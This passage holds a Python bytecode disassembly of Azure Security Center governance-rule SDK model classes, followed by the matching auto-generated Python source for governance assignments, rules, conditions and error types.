scope).\n :vartype include_member_scopes: bool\n :ivar owner_source: The owner source for the governance rule - e.g. Manually by\n [email protected] - see example.\n :vartype owner_source:\n ~azure.mgmt.security.v2022_01_01_preview.models.GovernanceRuleOwnerSource\n :ivar governance_email_notification: The email notifications settings for the governance rule,\n states whether to disable notifications for mangers and owners.\n :vartype governance_email_notification:\n ~azure.mgmt.security.v2022_01_01_preview.models.GovernanceRuleEmailNotification\n :ivar metadata: The governance rule metadata.\n :vartype metadata: ~azure.mgmt.security.v2022_01_01_preview.models.GovernanceRuleMetadata\n ' STORE_NAME __doc__ LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST 'pattern' LOAD_CONST '^[0-9]+\\.[0-9]{2}:[0-9]{2}:[0-9]{2}$' BUILD_MAP LOAD_CONST 1000 LOAD_CONST 0 LOAD_CONST ('maximum', 'minimum') BUILD_CONST_KEY_MAP LOAD_CONST ('id', 'name', 'type', 'tenant_id', 'remediation_timeframe', 'rule_priority') BUILD_CONST_KEY_MAP STORE_NAME _validation LOAD_CONST 'id' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'name' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'type' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'properties.tenantId' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'properties.displayName' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'properties.description' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'properties.remediationTimeframe' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'properties.isGracePeriod' LOAD_CONST 'bool' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'properties.rulePriority' LOAD_CONST 'int' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'properties.isDisabled' LOAD_CONST 'bool' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'properties.ruleType' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'properties.sourceResourceType' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'properties.excludedScopes' LOAD_CONST '[str]' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'properties.conditionSets' LOAD_CONST '[object]' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'properties.includeMemberScopes' LOAD_CONST 'bool' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'properties.ownerSource' LOAD_CONST 'GovernanceRuleOwnerSource' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'properties.governanceEmailNotification' LOAD_CONST 'GovernanceRuleEmailNotification' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'properties.metadata' LOAD_CONST 'GovernanceRuleMetadata' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST ('id', 'name', 'type', 'tenant_id', 'display_name', 'description', 'remediation_timeframe', 'is_grace_period', 'rule_priority', 'is_disabled', 'rule_type', 'source_resource_type', 'excluded_scopes', 'condition_sets', 'include_member_scopes', 'owner_source', 'governance_email_notification', 'metadata') BUILD_CONST_KEY_MAP STORE_NAME _attribute_map LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST ('display_name', 'description', 'remediation_timeframe', 'is_grace_period', 'rule_priority', 'is_disabled', 'rule_type', 'source_resource_type', 'excluded_scopes', 'condition_sets', 'include_member_scopes', 'owner_source', 'governance_email_notification', 'metadata') BUILD_CONST_KEY_MAP LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME bool BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME int BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME bool BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME Union LOAD_NAME str LOAD_CONST '_models.GovernanceRuleType' BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME Union LOAD_NAME str LOAD_CONST '_models.GovernanceRuleSourceResourceType' BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME List LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME List LOAD_NAME JSON BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME bool BINARY_SUBSCR LOAD_NAME Optional LOAD_CONST '_models.GovernanceRuleOwnerSource' BINARY_SUBSCR LOAD_NAME Optional LOAD_CONST '_models.GovernanceRuleEmailNotification' BINARY_SUBSCR LOAD_NAME Optional LOAD_CONST '_models.GovernanceRuleMetadata' BINARY_SUBSCR LOAD_NAME Any LOAD_CONST None LOAD_CONST ('display_name', 'description', 'remediation_timeframe', 'is_grace_period', 'rule_priority', 'is_disabled', 'rule_type', 'source_resource_type', 'excluded_scopes', 'condition_sets', 'include_member_scopes', 'owner_source', 'governance_email_notification', 'metadata', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab8237f810, file "f.py", line 503> LOAD_CONST 'GovernanceRule.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_CONST None LOAD_FAST self STORE_ATTR tenant_id LOAD_FAST display_name LOAD_FAST self STORE_ATTR display_name LOAD_FAST description LOAD_FAST self STORE_ATTR description LOAD_FAST remediation_timeframe LOAD_FAST self STORE_ATTR remediation_timeframe LOAD_FAST is_grace_period LOAD_FAST self STORE_ATTR is_grace_period LOAD_FAST rule_priority LOAD_FAST self STORE_ATTR rule_priority LOAD_FAST is_disabled LOAD_FAST self STORE_ATTR is_disabled LOAD_FAST rule_type LOAD_FAST self STORE_ATTR rule_type LOAD_FAST source_resource_type LOAD_FAST self STORE_ATTR source_resource_type LOAD_FAST excluded_scopes LOAD_FAST self STORE_ATTR excluded_scopes LOAD_FAST condition_sets LOAD_FAST self STORE_ATTR condition_sets LOAD_FAST include_member_scopes LOAD_FAST self STORE_ATTR include_member_scopes LOAD_FAST owner_source LOAD_FAST self STORE_ATTR owner_source LOAD_FAST governance_email_notification LOAD_FAST self STORE_ATTR governance_email_notification LOAD_FAST metadata LOAD_FAST self STORE_ATTR metadata LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GovernanceRuleEmailNotification' STORE_NAME __qualname__ LOAD_CONST 'The governance email weekly notification configuration.\n\n :ivar disable_manager_email_notification: Defines whether manager email notifications are\n disabled.\n :vartype disable_manager_email_notification: bool\n :ivar disable_owner_email_notification: Defines whether owner email notifications are disabled.\n :vartype disable_owner_email_notification: bool\n ' STORE_NAME __doc__ LOAD_CONST 'disableManagerEmailNotification' LOAD_CONST 'bool' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'disableOwnerEmailNotification' LOAD_CONST 'bool' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST ('disable_manager_email_notification', 'disable_owner_email_notification') BUILD_CONST_KEY_MAP STORE_NAME _attribute_map LOAD_CONST None LOAD_CONST None LOAD_CONST ('disable_manager_email_notification', 'disable_owner_email_notification') BUILD_CONST_KEY_MAP LOAD_NAME Optional LOAD_NAME bool BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME bool BINARY_SUBSCR LOAD_NAME Any LOAD_CONST None LOAD_CONST ('disable_manager_email_notification', 'disable_owner_email_notification', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab8237fb70, file "f.py", line 606> LOAD_CONST 'GovernanceRuleEmailNotification.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_FAST disable_manager_email_notification LOAD_FAST self STORE_ATTR disable_manager_email_notification LOAD_FAST disable_owner_email_notification LOAD_FAST self STORE_ATTR disable_owner_email_notification LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GovernanceRuleList' STORE_NAME __qualname__ LOAD_CONST 'Page of a governance rules list.\n\n Variables are only populated by the server, and will be ignored when sending a request.\n\n :ivar value: Collection of governance rules in this page.\n :vartype value: list[~azure.mgmt.security.v2022_01_01_preview.models.GovernanceRule]\n :ivar next_link: The URI to fetch the next page.\n :vartype next_link: str\n ' STORE_NAME __doc__ LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST ('value', 'next_link') BUILD_CONST_KEY_MAP STORE_NAME _validation LOAD_CONST 'value' LOAD_CONST '[GovernanceRule]' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'nextLink' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST ('value', 'next_link') BUILD_CONST_KEY_MAP STORE_NAME _attribute_map LOAD_NAME Any LOAD_CONST None LOAD_CONST ('kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab802979c0, file "f.py", line 647> LOAD_CONST 'GovernanceRuleList.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_CONST None LOAD_FAST self STORE_ATTR value LOAD_CONST None LOAD_FAST self STORE_ATTR next_link LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GovernanceRuleMetadata' STORE_NAME __qualname__ LOAD_CONST 'The governance rule metadata.\n\n Variables are only populated by the server, and will be ignored when sending a request.\n\n :ivar created_by: Governance rule Created by object id (GUID).\n :vartype created_by: str\n :ivar created_on: Governance rule creation date.\n :vartype created_on: ~datetime.datetime\n :ivar updated_by: Governance rule last updated by object id (GUID).\n :vartype updated_by: str\n :ivar updated_on: Governance rule last update date.\n :vartype updated_on: ~datetime.datetime\n ' STORE_NAME __doc__ LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST ('created_by', 'created_on', 'updated_by', 'updated_on') BUILD_CONST_KEY_MAP STORE_NAME _validation LOAD_CONST 'createdBy' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'createdOn' LOAD_CONST 'iso-8601' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'updatedBy' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'updatedOn' LOAD_CONST 'iso-8601' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST ('created_by', 'created_on', 'updated_by', 'updated_on') BUILD_CONST_KEY_MAP STORE_NAME _attribute_map LOAD_NAME Any LOAD_CONST None LOAD_CONST ('kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab80297ed0, file "f.py", line 683> LOAD_CONST 'GovernanceRuleMetadata.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_CONST None LOAD_FAST self STORE_ATTR created_by LOAD_CONST None LOAD_FAST self STORE_ATTR created_on LOAD_CONST None LOAD_FAST self STORE_ATTR updated_by LOAD_CONST None LOAD_FAST self STORE_ATTR updated_on LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GovernanceRuleOwnerSource' STORE_NAME __qualname__ LOAD_CONST 'Describe the owner source of governance rule.\n\n :ivar type: The owner type for the governance rule owner source. Known values are: "ByTag" and\n "Manually".\n :vartype type: str or\n ~azure.mgmt.security.v2022_01_01_preview.models.GovernanceRuleOwnerSourceType\n :ivar value: The source value e.g. tag key like owner name or email address.\n :vartype value: str\n ' STORE_NAME __doc__ LOAD_CONST 'type' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'value' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST ('type', 'value') BUILD_CONST_KEY_MAP STORE_NAME _attribute_map LOAD_CONST None LOAD_CONST None LOAD_CONST ('type', 'value') BUILD_CONST_KEY_MAP LOAD_NAME Optional LOAD_NAME Union LOAD_NAME str LOAD_CONST '_models.GovernanceRuleOwnerSourceType' BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Any LOAD_CONST None LOAD_CONST ('type', 'value', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab80297660, file "f.py", line 708> LOAD_CONST 'GovernanceRuleOwnerSource.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_FAST type LOAD_FAST self STORE_ATTR type LOAD_FAST value LOAD_FAST self STORE_ATTR value LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'OperationResultAutoGenerated' STORE_NAME __qualname__ LOAD_CONST 'Long run operation status of governance rule over a given scope.\n\n Variables are only populated by the server, and will be ignored when sending a request.\n\n :ivar status: The status of the long run operation result of governance rule. Known values are:\n "Succeeded", "Failed", and "Canceled".\n :vartype status: str or ~azure.mgmt.security.v2022_01_01_preview.models.OperationResult\n ' STORE_NAME __doc__ LOAD_CONST 'status' LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP BUILD_MAP STORE_NAME _validation LOAD_CONST 'status' LOAD_CONST 'status' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP BUILD_MAP STORE_NAME _attribute_map LOAD_NAME Any LOAD_CONST None LOAD_CONST ('kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab80297150, file "f.py", line 746> LOAD_CONST 'OperationResultAutoGenerated.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_CONST None LOAD_FAST self STORE_ATTR status LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'RemediationEta' STORE_NAME __qualname__ LOAD_CONST 'The ETA (estimated time of arrival) for remediation.\n\n All required parameters must be populated in order to send to Azure.\n\n :ivar eta: ETA for remediation. Required.\n :vartype eta: ~datetime.datetime\n :ivar justification: Justification for change of Eta. Required.\n :vartype justification: str\n ' STORE_NAME __doc__ LOAD_CONST 'required' LOAD_CONST True BUILD_MAP LOAD_CONST 'required' LOAD_CONST True BUILD_MAP LOAD_CONST ('eta', 'justification') BUILD_CONST_KEY_MAP STORE_NAME _validation LOAD_CONST 'eta' LOAD_CONST 'iso-8601' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'justification' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST ('eta', 'justification') BUILD_CONST_KEY_MAP STORE_NAME _attribute_map LOAD_NAME datetime LOAD_ATTR datetime LOAD_NAME str LOAD_NAME Any LOAD_CONST None LOAD_CONST ('eta', 'justification', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab80297ae0, file "f.py", line 773> LOAD_CONST 'RemediationEta.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_FAST eta LOAD_FAST self STORE_ATTR eta LOAD_FAST justification LOAD_FAST self STORE_ATTR justification LOAD_CONST None RETURN_VALUE
import datetime import sys from typing import Any, List, Optional, TYPE_CHECKING, Union from ... import _serialization if sys.version_info >= (3, 9): from collections.abc import MutableMapping else: from typing import MutableMapping # type: ignore # pylint: disable=ungrouped-imports if TYPE_CHECKING: from .. import models as _models JSON = MutableMapping[str, Any] # pylint: disable=unsubscriptable-object class CloudErrorBody(_serialization.Model): """The error detail. Variables are only populated by the server, and will be ignored when sending a request. :ivar code: The error code. :vartype code: str :ivar message: The error message. :vartype message: str :ivar target: The error target. :vartype target: str :ivar details: The error details. :vartype details: list[~azure.mgmt.security.v2022_01_01_preview.models.CloudErrorBody] :ivar additional_info: The error additional info. :vartype additional_info: list[~azure.mgmt.security.v2022_01_01_preview.models.ErrorAdditionalInfo] """ _validation = { "code": {"readonly": True}, "message": {"readonly": True}, "target": {"readonly": True}, "details": {"readonly": True}, "additional_info": {"readonly": True}, } _attribute_map = { "code": {"key": "code", "type": "str"}, "message": {"key": "message", "type": "str"}, "target": {"key": "target", "type": "str"}, "details": {"key": "details", "type": "[CloudErrorBody]"}, "additional_info": {"key": "additionalInfo", "type": "[ErrorAdditionalInfo]"}, } def __init__(self, **kwargs: Any) -> None: """ """ super().__init__(**kwargs) self.code = None self.message = None self.target = None self.details = None self.additional_info = None class Condition(_serialization.Model): """Governance rule's condition. :ivar property: The governance rule Condition's Property, e.g. Severity or AssessmentKey, see examples. :vartype property: str :ivar value: The governance rule Condition's Value like severity Low, High or assessments keys, see examples. :vartype value: str :ivar operator: The governance rule Condition's Operator, for example Equals for severity or In for list of assessments, see examples. Known values are: "Equals", "In", and "In". :vartype operator: str or ~azure.mgmt.security.v2022_01_01_preview.models.GovernanceRuleConditionOperator """ _attribute_map = { "property": {"key": "property", "type": "str"}, "value": {"key": "value", "type": "str"}, "operator": {"key": "operator", "type": "str"}, } def __init__( self, *, property: Optional[str] = None, # pylint: disable=redefined-builtin value: Optional[str] = None, operator: Optional[ Union[str, "_models.GovernanceRuleConditionOperator"] ] = None, **kwargs: Any ) -> None: """ :keyword property: The governance rule Condition's Property, e.g. Severity or AssessmentKey, see examples. :paramtype property: str :keyword value: The governance rule Condition's Value like severity Low, High or assessments keys, see examples. :paramtype value: str :keyword operator: The governance rule Condition's Operator, for example Equals for severity or In for list of assessments, see examples. Known values are: "Equals", "In", and "In". :paramtype operator: str or ~azure.mgmt.security.v2022_01_01_preview.models.GovernanceRuleConditionOperator """ super().__init__(**kwargs) self.property = property self.value = value self.operator = operator class ErrorAdditionalInfo(_serialization.Model): """The resource management error additional info. Variables are only populated by the server, and will be ignored when sending a request. :ivar type: The additional info type. :vartype type: str :ivar info: The additional info. :vartype info: JSON """ _validation = { "type": {"readonly": True}, "info": {"readonly": True}, } _attribute_map = { "type": {"key": "type", "type": "str"}, "info": {"key": "info", "type": "object"}, } def __init__(self, **kwargs: Any) -> None: """ """ super().__init__(**kwargs) self.type = None self.info = None class ExecuteGovernanceRuleParams(_serialization.Model): """Governance rule execution parameters. :ivar override: Describe if governance rule should be override. :vartype override: bool """ _attribute_map = { "override": {"key": "override", "type": "bool"}, } def __init__(self, *, override: Optional[bool] = None, **kwargs: Any) -> None: """ :keyword override: Describe if governance rule should be override. :paramtype override: bool """ super().__init__(**kwargs) self.override = override class Resource(_serialization.Model): """Describes an Azure resource. Variables are only populated by the server, and will be ignored when sending a request. :ivar id: Resource Id. :vartype id: str :ivar name: Resource name. :vartype name: str :ivar type: Resource type. :vartype type: str """ _validation = { "id": {"readonly": True}, "name": {"readonly": True}, "type": {"readonly": True}, } _attribute_map = { "id": {"key": "id", "type": "str"}, "name": {"key": "name", "type": "str"}, "type": {"key": "type", "type": "str"}, } def __init__(self, **kwargs: Any) -> None: """ """ super().__init__(**kwargs) self.id = None self.name = None self.type = None class GovernanceAssignment(Resource): """Governance assignment over a given scope. Variables are only populated by the server, and will be ignored when sending a request. :ivar id: Resource Id. :vartype id: str :ivar name: Resource name. :vartype name: str :ivar type: Resource type. :vartype type: str :ivar owner: The Owner for the governance assignment - e.g. [email protected] - see example. :vartype owner: str :ivar remediation_due_date: The remediation due-date - after this date Secure Score will be affected (in case of active grace-period). :vartype remediation_due_date: ~datetime.datetime :ivar remediation_eta: The ETA (estimated time of arrival) for remediation (optional), see example. :vartype remediation_eta: ~azure.mgmt.security.v2022_01_01_preview.models.RemediationEta :ivar is_grace_period: Defines whether there is a grace period on the governance assignment. :vartype is_grace_period: bool :ivar governance_email_notification: The email notifications settings for the governance rule, states whether to disable notifications for mangers and owners. :vartype governance_email_notification: ~azure.mgmt.security.v2022_01_01_preview.models.GovernanceEmailNotification :ivar additional_data: The additional data for the governance assignment - e.g. links to ticket (optional), see example. :vartype additional_data: ~azure.mgmt.security.v2022_01_01_preview.models.GovernanceAssignmentAdditionalData """ _validation = { "id": {"readonly": True}, "name": {"readonly": True}, "type": {"readonly": True}, } _attribute_map = { "id": {"key": "id", "type": "str"}, "name": {"key": "name", "type": "str"}, "type": {"key": "type", "type": "str"}, "owner": {"key": "properties.owner", "type": "str"}, "remediation_due_date": { "key": "properties.remediationDueDate", "type": "iso-8601", }, "remediation_eta": { "key": "properties.remediationEta", "type": "RemediationEta", }, "is_grace_period": {"key": "properties.isGracePeriod", "type": "bool"}, "governance_email_notification": { "key": "properties.governanceEmailNotification", "type": "GovernanceEmailNotification", }, "additional_data": { "key": "properties.additionalData", "type": "GovernanceAssignmentAdditionalData", }, } def __init__( self, *, owner: Optional[str] = None, remediation_due_date: Optional[datetime.datetime] = None, remediation_eta: Optional["_models.RemediationEta"] = None, is_grace_period: Optional[bool] = None, governance_email_notification: Optional[ "_models.GovernanceEmailNotification" ] = None, additional_data: Optional["_models.GovernanceAssignmentAdditionalData"] = None, **kwargs: Any ) -> None: """ :keyword owner: The Owner for the governance assignment - e.g. [email protected] - see example. :paramtype owner: str :keyword remediation_due_date: The remediation due-date - after this date Secure Score will be affected (in case of active grace-period). :paramtype remediation_due_date: ~datetime.datetime :keyword remediation_eta: The ETA (estimated time of arrival) for remediation (optional), see example. :paramtype remediation_eta: ~azure.mgmt.security.v2022_01_01_preview.models.RemediationEta :keyword is_grace_period: Defines whether there is a grace period on the governance assignment. :paramtype is_grace_period: bool :keyword governance_email_notification: The email notifications settings for the governance rule, states whether to disable notifications for mangers and owners. :paramtype governance_email_notification: ~azure.mgmt.security.v2022_01_01_preview.models.GovernanceEmailNotification :keyword additional_data: The additional data for the governance assignment - e.g. links to ticket (optional), see example. :paramtype additional_data: ~azure.mgmt.security.v2022_01_01_preview.models.GovernanceAssignmentAdditionalData """ super().__init__(**kwargs) self.owner = owner self.remediation_due_date = remediation_due_date self.remediation_eta = remediation_eta self.is_grace_period = is_grace_period self.governance_email_notification = governance_email_notification self.additional_data = additional_data class GovernanceAssignmentAdditionalData(_serialization.Model): """Describe the additional data of governance assignment - optional. :ivar ticket_number: Ticket number associated with this governance assignment. :vartype ticket_number: int :ivar ticket_link: Ticket link associated with this governance assignment - for example: https://snow.com. :vartype ticket_link: str :ivar ticket_status: The ticket status associated with this governance assignment - for example: Active. :vartype ticket_status: str """ _validation = { "ticket_number": {"minimum": 0}, } _attribute_map = { "ticket_number": {"key": "ticketNumber", "type": "int"}, "ticket_link": {"key": "ticketLink", "type": "str"}, "ticket_status": {"key": "ticketStatus", "type": "str"}, } def __init__( self, *, ticket_number: Optional[int] = None, ticket_link: Optional[str] = None, ticket_status: Optional[str] = None, **kwargs: Any ) -> None: """ :keyword ticket_number: Ticket number associated with this governance assignment. :paramtype ticket_number: int :keyword ticket_link: Ticket link associated with this governance assignment - for example: https://snow.com. :paramtype ticket_link: str :keyword ticket_status: The ticket status associated with this governance assignment - for example: Active. :paramtype ticket_status: str """ super().__init__(**kwargs) self.ticket_number = ticket_number self.ticket_link = ticket_link self.ticket_status = ticket_status class GovernanceAssignmentsList(_serialization.Model): """Page of a governance assignments list. Variables are only populated by the server, and will be ignored when sending a request. :ivar value: Collection of governance assignments in this page. :vartype value: list[~azure.mgmt.security.v2022_01_01_preview.models.GovernanceAssignment] :ivar next_link: The URI to fetch the next page. :vartype next_link: str """ _validation = { "value": {"readonly": True}, "next_link": {"readonly": True}, } _attribute_map = { "value": {"key": "value", "type": "[GovernanceAssignment]"}, "next_link": {"key": "nextLink", "type": "str"}, } def __init__(self, **kwargs: Any) -> None: """ """ super().__init__(**kwargs) self.value = None self.next_link = None class GovernanceEmailNotification(_serialization.Model): """The governance email weekly notification configuration. :ivar disable_manager_email_notification: Exclude manager from weekly email notification. :vartype disable_manager_email_notification: bool :ivar disable_owner_email_notification: Exclude owner from weekly email notification. :vartype disable_owner_email_notification: bool """ _attribute_map = { "disable_manager_email_notification": { "key": "disableManagerEmailNotification", "type": "bool", }, "disable_owner_email_notification": { "key": "disableOwnerEmailNotification", "type": "bool", }, } def __init__( self, *, disable_manager_email_notification: Optional[bool] = None, disable_owner_email_notification: Optional[bool] = None, **kwargs: Any ) -> None: """ :keyword disable_manager_email_notification: Exclude manager from weekly email notification. :paramtype disable_manager_email_notification: bool :keyword disable_owner_email_notification: Exclude owner from weekly email notification. :paramtype disable_owner_email_notification: bool """ super().__init__(**kwargs) self.disable_manager_email_notification = disable_manager_email_notification self.disable_owner_email_notification = disable_owner_email_notification class GovernanceRule(Resource): # pylint: disable=too-many-instance-attributes """Governance rule over a given scope. Variables are only populated by the server, and will be ignored when sending a request. :ivar id: Resource Id. :vartype id: str :ivar name: Resource name. :vartype name: str :ivar type: Resource type. :vartype type: str :ivar tenant_id: The tenantId (GUID). :vartype tenant_id: str :ivar display_name: Display name of the governance rule. :vartype display_name: str :ivar description: Description of the governance rule. :vartype description: str :ivar remediation_timeframe: Governance rule remediation timeframe - this is the time that will affect on the grace-period duration e.g. 7.00:00:00 - means 7 days. :vartype remediation_timeframe: str :ivar is_grace_period: Defines whether there is a grace period on the governance rule. :vartype is_grace_period: bool :ivar rule_priority: The governance rule priority, priority to the lower number. Rules with the same priority on the same scope will not be allowed. :vartype rule_priority: int :ivar is_disabled: Defines whether the rule is active/inactive. :vartype is_disabled: bool :ivar rule_type: The rule type of the governance rule, defines the source of the rule e.g. Integrated. Known values are: "Integrated" and "ServiceNow". :vartype rule_type: str or ~azure.mgmt.security.v2022_01_01_preview.models.GovernanceRuleType :ivar source_resource_type: The governance rule source, what the rule affects, e.g. Assessments. "Assessments" :vartype source_resource_type: str or ~azure.mgmt.security.v2022_01_01_preview.models.GovernanceRuleSourceResourceType :ivar excluded_scopes: Excluded scopes, filter out the descendants of the scope (on management scopes). :vartype excluded_scopes: list[str] :ivar condition_sets: The governance rule conditionSets - see examples. :vartype condition_sets: list[JSON] :ivar include_member_scopes: Defines whether the rule is management scope rule (master connector as a single scope or management scope). :vartype include_member_scopes: bool :ivar owner_source: The owner source for the governance rule - e.g. Manually by [email protected] - see example. :vartype owner_source: ~azure.mgmt.security.v2022_01_01_preview.models.GovernanceRuleOwnerSource :ivar governance_email_notification: The email notifications settings for the governance rule, states whether to disable notifications for mangers and owners. :vartype governance_email_notification: ~azure.mgmt.security.v2022_01_01_preview.models.GovernanceRuleEmailNotification :ivar metadata: The governance rule metadata. :vartype metadata: ~azure.mgmt.security.v2022_01_01_preview.models.GovernanceRuleMetadata """ _validation = { "id": {"readonly": True}, "name": {"readonly": True}, "type": {"readonly": True}, "tenant_id": {"readonly": True}, "remediation_timeframe": {"pattern": 